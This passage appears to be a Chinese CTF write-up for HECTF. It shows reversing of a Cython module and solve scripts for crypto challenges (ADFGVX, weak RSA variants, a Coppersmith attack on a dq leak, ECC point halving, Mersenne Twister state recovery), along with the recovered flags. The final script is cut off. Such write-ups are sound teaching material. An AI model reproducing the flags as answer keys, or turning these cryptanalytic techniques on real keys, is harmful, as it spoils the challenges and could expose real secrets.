输出显示这是一个 Cython编译的Python扩展模块(.so文件),是由Cython将Python代码编译成C代码后生成的动态链接库。题目提供了一个 check_flag.py 文件,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

KEY_HEX = "85babb7b142ff80ce8aee154813a7281"
IV_HEX = "30313233343536373839616263646566"
CIPHER_HEX = "4945617b21bf70fd9195c3e530f607490328028d44745c99b8cb7957958266fa9edf3f79bcf6ef0d7476118e5ba11523"

aes_key = bytes.fromhex(KEY_HEX)
aes_iv = bytes.fromhex(IV_HEX)
target_ct = bytes.fromhex(CIPHER_HEX)

cipher = AES.new(aes_key, AES.MODE_CBC, aes_iv)
pre_bytes = unpad(cipher.decrypt(target_ct), AES.block_size)

core = ''.join([chr(b ^ 0x1F) for b in pre_bytes])
flag = f"HECTF{{{core}}}"

print("解密得到的flag:", flag)

这里为什么是直接运行这个得到flag,感觉像非预期,我觉得预期可能是去找这些东西

1
HECTF{e10c4a7ad19f60bbbbba8a962c6b4447}

这个脚本展示了完整的解密流程,但我们需要通过逆向分析 .so 文件来验证这些参数的正确性,将 ctf_cython_easy.cpython-38-x86_64-linux-gnu.so 文件加载到IDA Pro中。

查找关键入口点:

  • PyInit_ctf_cython_easy (0x516b) - Python模块初始化函数
  • __pyx_pymod_exec_ctf_cython_easy (0x43a6) - 模块执行函数

接着在IDA中搜索字符串,发现关键字符串:

地址 0x97fc: input_flag
地址 0x9807: ctf_cython_easy.verify_flag

地址 0x9910 发现一个长字符串(673字节),包含了所有关键信息:

1
}303132333435363738396162636465664945617b21bf70fd9195c3e530f607490328028d44745c99b8cb7957958266fa9edf3f79bcf6ef0d7476118e5ba1152385babb7b142ff80ce8aee154813a7281HECTF{...

从地址 0x9910 的字符串中,我们可以提取出,仔细分析这个字符串的结构:

1
2
3
30313233343536373839616263646566  <- IV (32字符 = 16字节)
4945617b21bf70fd9195c3e530f607490328028d44745c99b8cb7957958266fa9edf3f79bcf6ef0d7476118e5ba11523 <- Ciphertext (96字符 = 48字节)
85babb7b142ff80ce8aee154813a7281 <- AES Key (32字符 = 16字节)

这些参数与 check_flag.py 中的参数一致,接着反编译 __pyx_pymod_exec_ctf_cython_easy 函数,可以看到:

  • 导入 Crypto.Cipher.AES 模块
  • 导入 Crypto.Util.Padding 模块
  • 设置 KEY_HEX, IV_HEX, CIPHER_HEX 变量
  • 调用 bytes.fromhex() 转换
  • 使用 AES.MODE_CBC 模式
  • 调用 unpad() 函数

根据逆向分析和 check_flag.py,解密流程为:

  1. AES-CBC解密

    • Key: 85babb7b142ff80ce8aee154813a7281
    • IV: 30313233343536373839616263646566
    • Ciphertext: 4945617b21bf70fd9195c3e530f607490328028d44745c99b8cb7957958266fa9edf3f79bcf6ef0d7476118e5ba11523
  2. 去除PKCS7填充

    • 使用 unpad() 函数去除填充
  3. XOR操作

    • 将解密后的每个字节与 0x1F 进行异或运算
    • 转换为ASCII字符
  4. 构造Flag格式

    • 格式: HECTF{解密内容}

运行check_flag.py就可以得到flag为hectf36.png

1
HECTF{e10c4a7ad19f60bbbbba8a962c6b4447}

Crypto

下个棋吧

hectf37.png

来陪你下棋了!这道题结合了 Base64ADFGVX 密码(经典的“棋盘”密码)。

第一步:Base64 解码

首先,拿到你给的密文进行 Base64 解码:

1
RERBVkFGR0RBWHtWR1ZHWEFYRFZHWEFYRFZWVkZWR1ZYVkdYQX0=

hectf38.png

解码后得到:

1
DDAVAFGDAX{VGVGXAXDVGXAXDVVVFVGVXVGXA}

第二步:分析加密方式

看到解码后的字符串,特征非常明显:

  1. 前缀DDAVAFGDAX,对应题目给出的 Flag 格式 HECTF
  2. 字符集:只有 A, D, F, G, V, X 六个字母。
  3. 提示:“下个棋吧”,这暗示了 ADFGVX Cipher(一种基于 6x6 棋盘的替换密码)。

第三步:逆推棋盘

我们需要根据已知的前缀 HECTF 来推导出密码表的排列顺序。

密文前缀:DD AV AF GD AX

明文前缀:H E C T F

根据 ADFGVX 的规则(行-列),我们可以尝试构建一个标准的 6x6 字母数字混合棋盘(顺序通常是 A-Z 0-9):

A D F G V X
A A B C D E F
D G H I J K L
F M N O P Q R
G S T U V W X
V Y Z 0 1 2 3
X 4 5 6 7 8 9

验证我们的推测:

  • H -> D行 D列 -> DD (符合)
  • E -> A行 V列 -> AV (符合)
  • C -> A行 F列 -> AF (符合)
  • T -> G行 D列 -> GD (符合)
  • F -> A行 X列 -> AX (符合)

棋盘确认无误!使用的是最标准的顺序表。

第四步:解密 Flag 内容

接着就是解密花括号 {} 里面的内容:

VGVGXAXDVGXAXDVVVFVGVXVGXA

将其两个一组进行分组并查表:

  1. VG -> V行 G列 -> 1
  2. VG -> V行 G列 -> 1
  3. XA -> X行 A列 -> 4
  4. XD -> X行 D列 -> 5
  5. VG -> V行 G列 -> 1
  6. XA -> X行 A列 -> 4
  7. XD -> X行 D列 -> 5
  8. VV -> V行 V列 -> 2
  9. VF -> V行 F列 -> 0
  10. VG -> V行 G列 -> 1
  11. VX -> V行 X列 -> 3
  12. VG -> V行 G列 -> 1
  13. XA -> X行 A列 -> 4

解密结果串起来是:1145145201314

最终结果

1
HECTF{1145145201314}

simple_math

下载附件可以得到题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from Crypto.Util.number import *
from secret import flag

def getmodule(bits):
while True:
f = getPrime(bits)
g = getPrime(bits)
p = (f<<bits)+g
q = (g<<bits)+f
if isPrime(p) and isPrime(q):
assert p%4 == 3 and q%4 == 3
n = p * q
break
return n

e = 8
n = getmodule(128)

m = bytes_to_long(flag)
c = pow(m,e,n)

print('c =',c)
print('n =',n)

"""
c = 5573794528528829992069712881335829633592490157207670497446565713699227752853445149101948822818379411492395823975723302499892036773925698697672557700027422
n = 6060692198787960152570793202726365711311067556697852613814176910700809041055277955552588176731629472381832554602777717596533323522044796564358407030079609
"""

从题目得到下面的信息

  • bits = 128

  • 取两个 128-bit 素数 f, g

  • 构造

    hectf39.png

  • n = p*q

  • e = 8

  • c = m^8 mod n

第一步:先把 u 求出来(最核心)

hectf40.png

第二步:求 a = fg

hectf41.png

第三步:恢复 f 和 g

hectf42.png

第四步:解密(e = 8)

完整的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from Crypto.Util.number import inverse, long_to_bytes
import math

c = 5573794528528829992069712881335829633592490157207670497446565713699227752853445149101948822818379411492395823975723302499892036773925698697672557700027422
n = 6060692198787960152570793202726365711311067556697852613814176910700809041055277955552588176731629472381832554602777717596533323522044796564358407030079609

bits = 128
B = 1 << bits
M = (B - 1) ** 2

def is_square(x: int):
y = math.isqrt(x)
return y * y == x, y

# ====== 1) 求 u = f+g ======
invB = pow(B, -1, M)
r = (n * invB) % M

u = None
for t in range(0, 10): # t 很小,枚举一下就行
u2 = r + t * M
ok, root = is_square(u2)
if ok:
u = root
break

if u is None:
raise ValueError("u not found (no square lift)")

# ====== 2) 求 a = fg ======
num = n - (u * u) * B
den = (B - 1) ** 2
if num % den != 0:
raise ValueError("division not exact, something wrong")
a = num // den

# ====== 3) 求 f,g 再构造 p,q ======
D = u * u - 4 * a
ok, v = is_square(D)
if not ok:
raise ValueError("discriminant not square")

f = (u + v) // 2
g = (u - v) // 2

p = (f << bits) + g
q = (g << bits) + f
assert p * q == n

# ====== 4) 模 p/q 下开平方根(p≡3 mod4) ======
def sqrt_mod_3mod4_checked(x, prime):
s = pow(x, (prime + 1) // 4, prime)
if (s * s - x) % prime != 0:
return []
return [s, (-s) % prime]

def roots_2k(x, prime, k):
roots = [x % prime]
for _ in range(k):
new = []
for r0 in roots:
new.extend(sqrt_mod_3mod4_checked(r0, prime))
# 去重
roots = list(dict.fromkeys(new))
if not roots:
return []
return roots

# m^8 = c -> 连开三次平方根
rp = roots_2k(c, p, 3)
rq = roots_2k(c, q, 3)

# CRT 两模合并
def crt2(a1, m1, a2, m2):
t = ((a2 - a1) * inverse(m1, m2)) % m2
return (a1 + m1 * t) % (m1 * m2)

cands = []
for ap in rp:
for aq in rq:
m = crt2(ap, p, aq, q)
cands.append(m)

# ====== 5) 从候选里找出能读的 flag ======
for m in cands:
b = long_to_bytes(m)
try:
s = b.decode()
except:
continue
if "{" in s and "}" in s: # 简单判别
print("flag =", s)

运行就可以得到flag

hectf42.png

1
HECTF{this_is_a_flag_emm_is_a_true_flag_ok_all_right}

ez_rsa

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from Crypto.Util.number import *
from gmpy2 import next_prime

from secret import flag

e = 65537
while True:
p1 = getPrime(512)
p2 = next_prime(p1)
q1 = getPrime(250)
q2 = getPrime(250)
n1 = p1**2*q1
n2 = p2**2*q2
if abs(p1-p2)<p1/(4*q1*q2):
break

l = len(flag) // 2
m1, m2 = bytes_to_long(flag[:l]), bytes_to_long(flag[l:])

c1 = pow(m1,e,n1)
c2 = pow(m2,e,n2)

print('c1 =', c1)
print('c2 =', c2)
print('n1 =', n1)
print('n2 =', n2)

"""
c1 = 53794102520259772962649045858576221465470825190832934218429615676578733090040151233709954118823187509134204197900878909625807999086331747342514637503295791730180510192956834523005990404866445713234424086559831376810175311081520383413318056594422752551500083114685166907745013622324855991979140245907218436391231529893571051805289332021969063468163881523935479367416921655014639791920
c2 = 9052082423365224257952169727471511116343636754632940194264502704697852932532482639724493657103678314302886687710898937205955106008040357863303819909329575056725102501066300771840780970209680697874184954776520388520912958918609760491518738565339512830340891355495761329325539914537183981946727807621066415407718405281155516000986687797150964327740274908804298880671020463280815846412
n1 = 98883753407297608957629424865714335053996022388238735569824164507623692527853962975392303234473035916456899244665285221847772940522588864849967816934720547920870269288918027227609323674530533210183199265184870283022950180411036770713693931074212919932370249829101629879564811122352724775705189146681235092749483273337940646214392591186563201709371435197518622209250725811137856196641
n2 = 52847447490004248309003888295738534958949920800650087542364666545481208701251931880585683578162296213389552561184640931603466477091024928446523302557870614402843171797849560571453293858739610330175253863157533028976216594152329043556996573601155253747817112184987205405092446153491574442703185973485274472403444657880456022918181503181300476227341269990508005711171556056777832920469
"""

hectf44.png

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from Crypto.Util.number import inverse, long_to_bytes, isPrime
from math import isqrt

e = 65537

c1 = 53794102520259772962649045858576221465470825190832934218429615676578733090040151233709954118823187509134204197900878909625807999086331747342514637503295791730180510192956834523005990404866445713234424086559831376810175311081520383413318056594422752551500083114685166907745013622324855991979140245907218436391231529893571051805289332021969063468163881523935479367416921655014639791920
c2 = 9052082423365224257952169727471511116343636754632940194264502704697852932532482639724493657103678314302886687710898937205955106008040357863303819909329575056725102501066300771840780970209680697874184954776520388520912958918609760491518738565339512830340891355495761329325539914537183981946727807621066415407718405281155516000986687797150964327740274908804298880671020463280815846412
n1 = 98883753407297608957629424865714335053996022388238735569824164507623692527853962975392303234473035916456899244665285221847772940522588864849967816934720547920870269288918027227609323674530533210183199265184870283022950180411036770713693931074212919932370249829101629879564811122352724775705189146681235092749483273337940646214392591186563201709371435197518622209250725811137856196641
n2 = 52847447490004248309003888295738534958949920800650087542364666545481208701251931880585683578162296213389552561184640931603466477091024928446523302557870614402843171797849560571453293858739610330175253863157533028976216594152329043556996573601155253747817112184987205405092446153491574442703185973485274472403444657880456022918181503181300476227341269990508005711171556056777832920469

def convergents_of_ratio(a: int, b: int):
"""
生成 a/b 的所有连分数收敛分数 (num, den)
"""
# 连分数系数 via 欧几里得
coeffs = []
aa, bb = a, b
while bb:
q = aa // bb
coeffs.append(q)
aa, bb = bb, aa - q * bb

# 由 coeffs 生成收敛分数
h0, h1 = 0, 1
k0, k1 = 1, 0
for q in coeffs:
h2 = q * h1 + h0
k2 = q * k1 + k0
yield h2, k2
h0, h1 = h1, h2
k0, k1 = k1, k2

def find_qs(n1: int, n2: int):
"""
利用 n1/n2 ≈ q1/q2 的性质,从连分数收敛分数里筛出 (q1,q2)
"""
for a, b in convergents_of_ratio(n1, n2):
if b == 0:
continue
# q2 大约 250 bits,略放宽上限,避免漏解
if b.bit_length() > 320:
break

# 关键筛选:b | n2 且 a | n1,并且二者为素数
if n2 % b == 0 and n1 % a == 0 and isPrime(b) and isPrime(a):
return a, b
return None, None

q1, q2 = find_qs(n1, n2)
if q1 is None:
raise RuntimeError("没在连分数收敛分数中找到 q1/q2(理论上不该发生)。")

print("[+] q1 =", q1)
print("[+] q2 =", q2)

p1_sq = n1 // q1
p2_sq = n2 // q2
p1 = isqrt(p1_sq)
p2 = isqrt(p2_sq)

assert p1 * p1 == p1_sq and isPrime(p1)
assert p2 * p2 == p2_sq and isPrime(p2)

print("[+] p1 =", p1)
print("[+] p2 =", p2)

# phi(p^2 q) = phi(p^2)*phi(q) = p*(p-1)*(q-1)
phi1 = p1 * (p1 - 1) * (q1 - 1)
phi2 = p2 * (p2 - 1) * (q2 - 1)

d1 = inverse(e, phi1)
d2 = inverse(e, phi2)

m1 = pow(c1, d1, n1)
m2 = pow(c2, d2, n2)

b1 = long_to_bytes(m1)
b2 = long_to_bytes(m2)

flag = b1 + b2
print("[+] m1 bytes =", b1)
print("[+] m2 bytes =", b2)
print("[+] flag =", flag)

hectf45.png

flag为

1
HECTF{cRoss_0v3r_v&ry_yOxi}

dp

题目附件代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Util.number import *
from secret import flag

p = getPrime(512)
q = getPrime(512)
n = p*q
e = 65537
d = inverse(e,(p-1)*(q-1))
dq = d%(q-1)
m = bytes_to_long(flag)
c = pow(m,e,n)
dq_low = dq&((1<<128)-1)
print("dq_low =",dq_low)
print("qinvp =",inverse(q,p))
print("c =",c)
print("n =",n)

"""
dq_low = 335584540380442406421659167342342638249
qinvp = 292380991609815479569318671567034568158741535336887645461482569000277924434025200418747744584399819139565007718147991186087121959333784855885409627807059
c = 79629543091521335572424036010295736463371865643788850996124745633140088693314474944546097858072542270744120204079572911048563286953176355620930088558852130198643488701338502773300967950160034234386587652495960085056607599181184904621488863558676003785173655724057777780825432810217070169799364372132482673582
n = 86062666525788610805322579359521230247485941052919698110209821574415795978267400179921030947943594715362554402337569699962889595727915713729727353653488455319575472816541725860439018405245986660080770381711691707583311039956616813650240564767989150096091515884074613899035773693670199866584129217246504406289
"""

hectf46.png

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
import sys
from multiprocessing import Pool, cpu_count, Manager
import time
from Crypto.Util.number import long_to_bytes

# --- 题目数据 ---
dq_low = 335584540380442406421659167342342638249
qinvp = 292380991609815479569318671567034568158741535336887645461482569000277924434025200418747744584399819139565007718147991186087121959333784855885409627807059
c = 79629543091521335572424036010295736463371865643788850996124745633140088693314474944546097858072542270744120204079572911048563286953176355620930088558852130198643488701338502773300967950160034234386587652495960085056607599181184904621488863558676003785173655724057777780825432810217070169799364372132482673582
n = 86062666525788610805322579359521230247485941052919698110209821574415795978267400179921030947943594715362554402337569699962889595727915713729727353653488455319575472816541725860439018405245986660080770381711691707583311039956616813650240564767989150096091515884074613899035773693670199866584129217246504406289
e = 65537

# --- 预计算参数 ---
leak_bits = 128
R = 2^leak_bits
# 我们需要恢复大约 384 bits (512 - 128)
# n 是 1024 bits. 384 / 1024 = 0.375
# 设置 beta 为 0.42 足够且比默认 0.5 快很多
BETA = 0.42

def check_k(k):
"""
针对单个 k 值的 Worker 函数
"""
# 1. 尝试计算 q_low
# 公式: k * q_low = e * dq_low - 1 + k (mod 2^128)

target = (e * dq_low - 1 + k)
modulus = R

# 处理 k 是偶数的情况
g = gcd(k, modulus)
if target % g != 0:
return None # 无解

k_val = k // g
target_val = target // g
modulus_val = modulus // g

try:
q_low = (target_val * inverse_mod(k_val, modulus_val)) % modulus_val
except:
return None

# 2. 构造 Coppersmith 多项式
# 这里的环定义必须在函数内部,因为多进程不能共享 Sage 的全局环对象
Z_N = Zmod(n)
P = PolynomialRing(Z_N, implementation='NTL', names=('x',))
(x,) = P._first_ngens(1)

# q = high * 2^128 + q_low
# 我们用 qinvp * q^2 - q = 0 (mod n)
# 实际上我们是在求 x

# 这里的 q_candidate 是关于 x 的多项式
q_candidate = x * modulus_val + q_low
f = qinvp * q_candidate^2 - q_candidate
f = f.monic()

# 3. 求解小根
# 调整 bounds: 2^(512 - leak_bits)
# epsilon稍微设大一点可以减少格基规约时间
try:
roots = f.small_roots(X=2^(512 - 128 + 10), beta=BETA, epsilon=0.05)
except:
return None

if roots:
root_x = int(roots[0])
q_found = root_x * modulus_val + q_low
if n % q_found == 0:
return q_found
return None

def wrapper(args):
"""包装器,用于处理异常和打印"""
k, progress_queue = args

# 每隔一定数量打印一下进度 (减少IO)
if k % 1000 == 0:
print(f"[+] Scanning range near k={k}...")

res = check_k(k)
return res

if __name__ == '__main__':
print(f"[*] Starting attack with {cpu_count()} cores.")
print(f"[*] Optimization: Using beta={BETA} for faster lattice reduction.")

# k 的范围通常在 1 到 e 之间
k_range = range(1, e)

# 准备多进程参数
# 这里的 None 是占位符,如果需要更复杂的进度条可以使用 Queue
tasks = [(k, None) for k in k_range]

# 创建进程池
pool = Pool(processes=cpu_count())

# 使用 imap_unordered 只要有一个结果出来就可以立刻捕获
try:
for result in pool.imap_unordered(wrapper, tasks, chunksize=100):
if result:
print("\n" + "="*50)
print(f"[!] SUCCESS! Found factor q.")
print(f"q = {result}")

q = Integer(result)
p = n // q

phi = (p - 1) * (q - 1)
d = inverse_mod(e, phi)
m_int = pow(c, d, n)
flag = long_to_bytes(int(m_int))

print(f"[!] Flag: {flag.decode(errors='ignore')}")
print("="*50)

pool.terminate()
sys.exit(0)
except KeyboardInterrupt:
pool.terminate()
print("\n[*] Aborted by user.")
except Exception as ex:
print(f"Error: {ex}")
finally:
pool.close()
pool.join()

运行即可得到flag

hectf47.png

1
HECTF{ay_mi_gatuto_miau_miau}

ez_ecc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from Crypto.Util.number import *
from secret import add,flag,P,Q,b,p

def oncurve(P):
x,y = P
if (y**2 - x**3 - x - b)%p == 0:
return True
else:
return False

l = len(flag) // 2
m1, m2 = bytes_to_long(flag[:l]), bytes_to_long(flag[l:])

assert m1 == P[0] and m2 == Q[0]
assert oncurve(P) and oncurve(Q)

print('P + P =', add(P,P))
print('P + Q =', add(P,Q))
print('Q + Q =', add(Q,Q))

"""
P + P = (14964670759245329390375308321411786978157102161189322115734645373169213999800, 15559632617790587507311758059936601413780195603883582327743315824295031740424)
P + Q = (51100085833472068924911572616418783709145128504503165799653950174447959545831, 34374474833785437488342051727913857907583782324172232648593714071718811330923)
Q + Q = (58182088469274002379975156536635905530143308283684486683439461054185269349870, 60318982918282038994679589134874004093617373250696961967201026789735803518347)
"""

hectf48.png

hectf49.png

hectf50.png

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
# solve.py
import math
from Crypto.Util.number import long_to_bytes
import sympy as sp

# ===== 题目给出的输出点 =====
RPP = (
14964670759245329390375308321411786978157102161189322115734645373169213999800,
15559632617790587507311758059936601413780195603883582327743315824295031740424
)
RPQ = (
51100085833472068924911572616418783709145128504503165799653950174447959545831,
34374474833785437488342051727913857907583782324172232648593714071718811330923
)
RQQ = (
58182088469274002379975156536635905530143308283684486683439461054185269349870,
60318982918282038994679589134874004093617373250696961967201026789735803518347
)

# 曲线:y^2 = x^3 + a*x + b (mod p)
a = 1

def t_of(P):
x, y = P
return y*y - x*x*x - x # t(P) = y^2 - x^3 - x ≡ b (mod p)

# 1) 反推 p
t1, t2, t3 = t_of(RPP), t_of(RPQ), t_of(RQQ)
p = math.gcd(abs(t1 - t2), math.gcd(abs(t1 - t3), abs(t2 - t3)))

# 2) 反推 b
b = t1 % p

print("[+] recovered p =", p)
print("[+] recovered b =", b)

def inv(n: int) -> int:
return pow(n, -1, p)

def oncurve(P):
if P is None:
return True
x, y = P
return (y*y - (x*x*x + a*x + b)) % p == 0

def add(P, Q):
# Jacobian 不写了,直接仿题目常规仿射加法
if P is None:
return Q
if Q is None:
return P
x1, y1 = P
x2, y2 = Q

# P + (-P) = O
if x1 == x2 and (y1 + y2) % p == 0:
return None

if P != Q:
lam = ((y2 - y1) % p) * inv((x2 - x1) % p) % p
else:
lam = ((3 * x1 * x1 + a) % p) * inv((2 * y1) % p) % p

x3 = (lam * lam - x1 - x2) % p
y3 = (lam * (x1 - x3) - y1) % p
return (x3, y3)

def dbl(P):
return add(P, P)

def sqrt_mod(n: int) -> int:
# 你的 p % 4 = 3(脚本算出来确实如此),可用快速开方
return pow(n, (p + 1) // 4, p)

# 由 x(2P)=x2 推四次方程并求根
x = sp.Symbol("x")

def quartic_poly_for_halving(x2: int) -> sp.Poly:
# x^4 - 4x2 x^3 - 2a x^2 + (-8b - 4a x2)x + (a^2 - 4b x2) = 0 (mod p)
expr = (
x**4
- 4 * x2 * x**3
- 2 * a * x**2
+ (-8 * b - 4 * a * x2) * x
+ (a*a - 4 * b * x2)
)
return sp.Poly(expr, x, modulus=p)

def roots_mod_prime(poly: sp.Poly):
"""
用 sympy 在 GF(p) 上分解,提取一次因子根。
对二次因子尝试用判别式在 GF(p) 上再开根(p%4=3 时更快)。
"""
facs = sp.factor_list(poly, modulus=p)[1]
roots = []

for fac, _ in facs:
deg = fac.degree()
coeffs = [int(c) % p for c in fac.all_coeffs()]

if deg == 1:
# fac = x + c => root = -c
c = coeffs[1]
roots.append((-c) % p)

elif deg == 2:
# fac = x^2 + A x + C
A, C = coeffs[1], coeffs[2]
disc = (A*A - 4*C) % p
y = sqrt_mod(disc)
if (y*y - disc) % p == 0:
r1 = (-A + y) * inv(2) % p
r2 = (-A - y) * inv(2) % p
roots.extend([r1, r2])

# 去重
out = []
seen = set()
for r in roots:
if r not in seen:
seen.add(r)
out.append(r)
return out

def half_points(R):
"""返回所有满足 2P = R 的 P 候选"""
x2, y2 = R
poly = quartic_poly_for_halving(x2)
xs = roots_mod_prime(poly)
cands = []
for xP in xs:
rhs = (xP*xP*xP + a*xP + b) % p
y = sqrt_mod(rhs)
for yP in (y, (-y) % p):
P = (xP, yP)
if dbl(P) == R:
cands.append(P)
return cands

assert oncurve(RPP) and oncurve(RPQ) and oncurve(RQQ)

Ps = half_points(RPP)
Qs = half_points(RQQ)
print("[+] #P candidates =", len(Ps))
print("[+] #Q candidates =", len(Qs))

sol = []
for P0 in Ps:
for Q0 in Qs:
if add(P0, Q0) == RPQ:
sol.append((P0, Q0))

print("[+] #solutions =", len(sol))
for i, (P0, Q0) in enumerate(sol):
m1 = P0[0]
m2 = Q0[0]
flag = long_to_bytes(m1) + long_to_bytes(m2)
print(f"\n=== solution {i} ===")
print("P =", P0)
print("Q =", Q0)
print("flag =", flag)

hectf51.png

运行得到flag

1
HECTF{W00O0O_Y0U_G@t_the_ez_Ecc!!___}

ez_random

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from Crypto.Util.number import *
import random

with open('shuffle_flag.txt', 'r') as fp:
flag = fp.read().encode()

m = bytes_to_long(flag)
flag_list = [ int(i) for i in bin(m)[2:] ]

rand = random.Random()

rand.shuffle(flag_list)
with open("output.txt","w") as fp:
for _ in range(312):
fp.write(str(rand.getrandbits(64))+'\n')

print('flag_list =',flag_list)

"""
flag_list = [1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1]
"""

题目给出了一个Python脚本 ez_random.py 和一个输出文件 output.txt

脚本逻辑如下:

  1. 读取 shuffle_flag.txt 中的 flag。
  2. 将 flag 转换为二进制位列表 flag_list
  3. 创建一个 random.Random() 实例。
  4. 使用 rand.shuffle(flag_list) 打乱 flag 的比特位。
  5. 连续调用 312 次 rand.getrandbits(64) 并将结果写入 output.txt
  6. 最后打印出打乱后的 flag_list(题目注释中给出了这个列表)。

我们需要根据打乱后的比特位和随后的随机数输出,恢复原始的 flag。

Python 的 random 模块使用的是 Mersenne Twister (MT19937) 算法。这是一个伪随机数生成器,其内部状态由 624 个 32 位整数组成。如果我们能获取足够多的连续输出,就可以完全恢复其内部状态,从而预测未来或推算过去的随机数。题目输出了 312 个 64 位的随机数。在 Python 中,getrandbits(64) 是通过调用两次底层的 32 位生成器实现的:

1
2
3
4
// Python 源码逻辑示意
a = genrand_int32(); // 低 32 位
b = genrand_int32(); // 高 32 位
return (b << 32) | a;

因此,312 个 64 位输出正好对应 $312 \times 2 = 624$ 个 32 位输出,这恰好填满了 MT19937 的整个状态池。我们可以通过 逆向回火 (Untempering) 操作,将输出值还原为内部状态值 MT[i]

注意点:Python 生成 64 位数时,先生成低 32 位,再生成高 32 位。在恢复状态数组时,顺序至关重要。恢复的状态是生成这 312 个数之后(或期间)的状态。但是 shuffle 操作是在生成这些数之前执行的。MT19937 每生成 624 个数后会进行一次 “Twist” 操作来更新整个状态池。为了知道 shuffle 时刻的状态,我们需要将当前恢复的状态逆向 Twist 回上一轮的状态。

random.shuffle 的实现逻辑是 Fisher-Yates 洗牌算法的变体,它会消耗一定数量的随机数。

  • 列表长度为L。
  • 洗牌过程会调用L-1次 randbelow()
  • randbelow() 可能会消耗不同数量的 32 位随机数(取决于运气,尽管大多数时候是固定的)。

题目提示 “shuffle时调用了几次state”,意味着需要找到 shuffle 结束时,随机数生成器的内部指针 index 停在什么位置,随后紧接着生成了 output.txt 中的内容。

我们可以遍历上一轮状态的 index(0 到 623),模拟 shuffle 操作,看哪一个 start_index 能够使得 shuffle 刚好消耗完剩下的随机数,从而触发 Twist 进入我们要恢复的下一轮状态(即 output.txt 对应的状态)。一旦确定了正确的 start_index 和初始状态,我们就完全复现了 shuffle 发生时的随机数序列。我们可以重现 shuffle 操作产生的置换 (Permutation)。为了恢复 flag,我们需要计算该置换的逆置换,将打乱的比特位放回原位。

解密脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from Crypto.Util.number import *
import random

